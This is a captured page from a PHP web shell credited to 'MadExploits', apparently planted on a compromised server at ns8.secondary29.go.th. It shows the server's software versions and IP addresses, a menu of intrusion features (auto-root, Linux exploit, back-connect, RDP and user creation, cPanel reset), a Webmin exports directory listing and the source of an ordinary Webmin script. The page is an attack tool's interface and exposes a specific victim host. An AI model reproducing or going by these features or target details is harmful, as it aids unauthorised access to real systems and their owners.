Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
exports /
[ HOME SHELL ]
Name
Size
Permission
Action
help
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
CHANGELOG
621
B
-rw-r--r--
backup_config.pl
643
B
-rwxr-xr-x
cgi_args.pl
215
B
-rwxr-xr-x
config-Amazon-Linux-2-ALL
84
B
-rw-r--r--
config-CentOS-Linux-7.0-ALL
84
B
-rw-r--r--
config-Redhat-Enterprise-Linux...
84
B
-rw-r--r--
config-Scientific-Linux-7.0-AL...
84
B
-rw-r--r--
config-aix
139
B
-rw-r--r--
config-cobalt-linux
248
B
-rw-r--r--
config-coherent-linux
200
B
-rw-r--r--
config-corel-linux
204
B
-rw-r--r--
config-debian-linux
204
B
-rw-r--r--
config-debian-linux-2.2
204
B
-rw-r--r--
config-debian-linux-3.0-ALL
206
B
-rw-r--r--
config-generic-linux
167
B
-rw-r--r--
config-gentoo-linux
190
B
-rw-r--r--
config-mandrake-linux
196
B
-rw-r--r--
config-msc-linux
190
B
-rw-r--r--
config-open-linux
200
B
-rw-r--r--
config-openmamba-linux
200
B
-rw-r--r--
config-pardus-linux
167
B
-rw-r--r--
config-redhat-linux
200
B
-rw-r--r--
config-redhat-linux-24.0-ALL
101
B
-rw-r--r--
config-slackware-linux
167
B
-rw-r--r--
config-slackware-linux-8.0-ALL
113
B
-rw-r--r--
config-sol-linux
167
B
-rw-r--r--
config-suse-linux
206
B
-rw-r--r--
config-suse-linux-7.1-ALL
204
B
-rw-r--r--
config-syno-linux
187
B
-rw-r--r--
config-trustix-linux
190
B
-rw-r--r--
config-turbo-linux
196
B
-rw-r--r--
config-united-linux
204
B
-rw-r--r--
config.info
170
B
-rw-r--r--
config.info.ca
204
B
-rw-r--r--
config.info.ca.UTF-8
206
B
-rw-r--r--
config.info.cz
142
B
-rw-r--r--
config.info.cz.UTF-8
150
B
-rw-r--r--
config.info.de
194
B
-rw-r--r--
config.info.de.UTF-8
194
B
-rw-r--r--
config.info.es
123
B
-rw-r--r--
config.info.es.UTF-8
123
B
-rw-r--r--
config.info.fr
165
B
-rw-r--r--
config.info.fr.UTF-8
165
B
-rw-r--r--
config.info.it
194
B
-rw-r--r--
config.info.it.UTF-8
194
B
-rw-r--r--
config.info.ms
125
B
-rw-r--r--
config.info.ms.UTF-8
125
B
-rw-r--r--
config.info.ms_MY
125
B
-rw-r--r--
config.info.ms_MY.UTF-8
125
B
-rw-r--r--
config.info.nl
195
B
-rw-r--r--
config.info.nl.UTF-8
195
B
-rw-r--r--
config.info.no
201
B
-rw-r--r--
config.info.no.UTF-8
201
B
-rw-r--r--
config.info.pl
162
B
-rw-r--r--
config.info.pl.UTF-8
162
B
-rw-r--r--
config.info.ru.UTF-8
243
B
-rw-r--r--
config.info.ru_RU
149
B
-rw-r--r--
config.info.ru_RU.UTF-8
243
B
-rw-r--r--
config.info.ru_SU
149
B
-rw-r--r--
config.info.sv
108
B
-rw-r--r--
config.info.sv.UTF-8
108
B
-rw-r--r--
config.info.tr
134
B
-rw-r--r--
config.info.uk_UA
152
B
-rw-r--r--
config.info.uk_UA.UTF-8
239
B
-rw-r--r--
config.info.zh_CN
77
B
-rw-r--r--
config.info.zh_CN.UTF-8
98
B
-rw-r--r--
config.info.zh_TW.Big5
79
B
-rw-r--r--
config.info.zh_TW.UTF-8
101
B
-rw-r--r--
delete_exports.cgi
956
B
-rwxr-xr-x
edit_export.cgi
6.17
KB
-rwxr-xr-x
exports-lib.pl
8.19
KB
-rwxr-xr-x
index.cgi
2.06
KB
-rwxr-xr-x
install_check.pl
354
B
-rwxr-xr-x
log_parser.pl
1.01
KB
-rwxr-xr-x
module.info
181
B
-rw-r--r--
module.info.ca
97
B
-rw-r--r--
module.info.ca.UTF-8
109
B
-rw-r--r--
module.info.cz
19
B
-rw-r--r--
module.info.cz.UTF-8
25
B
-rw-r--r--
module.info.de
102
B
-rw-r--r--
module.info.de.UTF-8
114
B
-rw-r--r--
module.info.es
29
B
-rw-r--r--
module.info.es.UTF-8
35
B
-rw-r--r--
module.info.fr
21
B
-rw-r--r--
module.info.fr.UTF-8
27
B
-rw-r--r--
module.info.it
25
B
-rw-r--r--
module.info.it.UTF-8
31
B
-rw-r--r--
module.info.ja_JP.UTF-8
40
B
-rw-r--r--
module.info.ja_JP.euc
32
B
-rw-r--r--
module.info.ko_KR.UTF-8
35
B
-rw-r--r--
module.info.ko_KR.euc
29
B
-rw-r--r--
module.info.ms_MY
102
B
-rw-r--r--
module.info.ms_MY.UTF-8
114
B
-rw-r--r--
module.info.nl
20
B
-rw-r--r--
module.info.nl.UTF-8
26
B
-rw-r--r--
module.info.no
22
B
-rw-r--r--
module.info.no.UTF-8
28
B
-rw-r--r--
module.info.pl
92
B
-rw-r--r--
module.info.pl.UTF-8
105
B
-rw-r--r--
module.info.pt
37
B
-rw-r--r--
module.info.pt.UTF-8
43
B
-rw-r--r--
module.info.ru.UTF-8
35
B
-rw-r--r--
module.info.ru_RU
24
B
-rw-r--r--
module.info.ru_RU.UTF-8
38
B
-rw-r--r--
module.info.ru_SU
24
B
-rw-r--r--
module.info.sv
24
B
-rw-r--r--
module.info.sv.UTF-8
30
B
-rw-r--r--
module.info.tr
22
B
-rw-r--r--
module.info.zh_CN
20
B
-rw-r--r--
module.info.zh_TW.Big5
25
B
-rw-r--r--
restart_mountd.cgi
296
B
-rwxr-xr-x
save_export.cgi
4.39
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : save_export.cgi
#!/usr/bin/perl # save_export.cgi # Save, create or delete an export use strict; use warnings; require './exports-lib.pl'; our (%text, %in, %config); &ReadParse(); &lock_file($config{'exports_file'}); my @exps = &list_exports(); my %exp; if ($in{'delete'}) { # Deleting some export my $exp = $exps[$in{'idx'}]; &delete_export($exp); %exp = %$exp; } else { my ($oldexp, %opts); if (!$in{'new'}) { # Get old export $oldexp = $exps[$in{'idx'}]; %opts = %{$oldexp->{'options'}}; } # Validate and parse inputs &error_setup($text{'save_err'}); -d $in{'dir'} || &error(&text('save_edir', $in{'dir'})); $exp{'dir'} = $in{'dir'}; if (defined($in{'pfs_def'})) { $in{'pfs_def'} || $in{'pfs'} =~ /^\/\S+$/ || &error(&text('save_epfs', $in{'pfs'})); $exp{'pfs'} = $in{'pfs_def'} ? undef : $in{'pfs'}; } $exp{'active'} = $in{'active'}; if ($in{'mode'} == 0) { $exp{'host'} = "=public"; } elsif ($in{'mode'} == 1) { $in{'netgroup'} =~ /^\S+$/ || &error($text{'save_enetgroup'}); $exp{'host'} = '@'.$in{'netgroup'}; } elsif ($in{'mode'} == 2) { &check_ipaddress($in{'network'}) || &error(&text('save_enetwork', $in{'network'})); &check_ipaddress($in{'netmask'}) || &error(&text('save_enetmask', $in{'netmask'})); $exp{'host'} = $in{'network'}."/".$in{'netmask'}; } elsif ($in{'mode'} == 3) { $exp{'host'} = ""; } else { $in{'host'} =~ /\*/ || &to_ipaddress($in{'host'}) || &error(&text('save_ehost', $in{'host'})); $exp{'host'} = $in{'host'}; } # Authentication is in the host name if ($in{'ver'} >= 4) { $opts{'sec'} = join(":", split(/\r?\n/, $in{'sec'})); if ($opts{'sec'} eq 'sys') { delete($opts{'sec'}); } if ($opts{'sec'} && $opts{'sec'} !~ /:/ && $exp{'host'} eq '') { # Allow hosts allowed for this security level $exp{'host'} = 'gss/'.$opts{'sec'}; delete($opts{'sec'}); } } # Validate and parse options delete($opts{'rw'}); delete($opts{'ro'}); if ($in{'ro'}) { $opts{'ro'} = ""; } else { $opts{'rw'} = ""; } delete($opts{'secure'}); delete($opts{'insecure'}); $opts{'insecure'} = "" if ($in{'insecure'}); delete($opts{'no_subtree_check'}); delete($opts{'subtree_check'}); $opts{'no_subtree_check'} = "" if ($in{'no_subtree_check'}); delete($opts{'nohide'}); delete($opts{'hide'}); $opts{'nohide'} = "" if ($in{'nohide'}); delete($opts{'sync'}); delete($opts{'async'}); if ($in{'sync'} == 1) { $opts{'sync'} = ""; } elsif ($in{'sync'} == 2) { $opts{'async'} = ""; } delete($opts{'root_squash'}); delete($opts{'no_root_squash'}); delete($opts{'all_squash'}); delete($opts{'no_all_squash'}); $opts{'no_root_squash'} = "" if ($in{'squash'} == 0); $opts{'all_squash'} = "" if ($in{'squash'} == 2); if ($in{'anonuid_def'}) { delete($opts{'anonuid'}); } elsif ($in{'anonuid'} =~ /^-?[0-9]+$/) { $opts{'anonuid'} = $in{'anonuid'}; } else { $opts{'anonuid'} = getpwnam($in{'anonuid'}); $opts{'anonuid'} || &error($text{'save_eanonuid'}); } if ($in{'anongid_def'}) { delete($opts{'anongid'}); } elsif ($in{'anongid'} =~ /^-?[0-9]+$/) { $opts{'anongid'} = $in{'anongid'}; } else { $opts{'anongid'} = getgrnam($in{'anongid'}); $opts{'anongid'} || &error($text{'save_eanongid'}); } # NFSv2 specific options delete($opts{'link_relative'}); delete($opts{'link_absolute'}); delete($opts{'noaccess'}); delete($opts{'squash_uids'}); delete($opts{'squash_gids'}); delete($opts{'map_daemon'}); $opts{'link_relative'} = "" if ($in{'link_relative'}); $opts{'noaccess'} = "" if ($in{'noaccess'}); if (!$in{'squash_uids_def'}) { if ($in{'squash_uids'} !~ /^[\d+\-\,]+$/) { &error($text{'save_euids'}); } else { $opts{'squash_uids'} = $in{'squash_uids'}; $opts{'map_daemon'} = ""; } } if (!$in{'squash_gids_def'}) { if ($in{'squash_gids'} !~ /^[\d+\-\,]+$/) { &error($text{'save_egids'}); } else { $opts{'squash_gids'} = $in{'squash_gids'}; $opts{'map_daemon'} = ""; } } $exp{'options'} = \%opts; # Create or update the export if ($in{'new'}) { if ($exp{'pfs'}) { &create_export_via_pfs(\%exp); } else { &create_export(\%exp); } } else { &modify_export(\%exp, $oldexp); } } &unlock_file($config{'exports_file'}); if ($in{'delete'}) { &webmin_log("delete", "export", $exp{'dir'}, \%exp); } elsif ($in{'new'}) { &webmin_log("create", "export", $exp{'dir'}, \%exp); } else { &webmin_log("modify", "export", $exp{'dir'}, \%exp); } &redirect("");
Close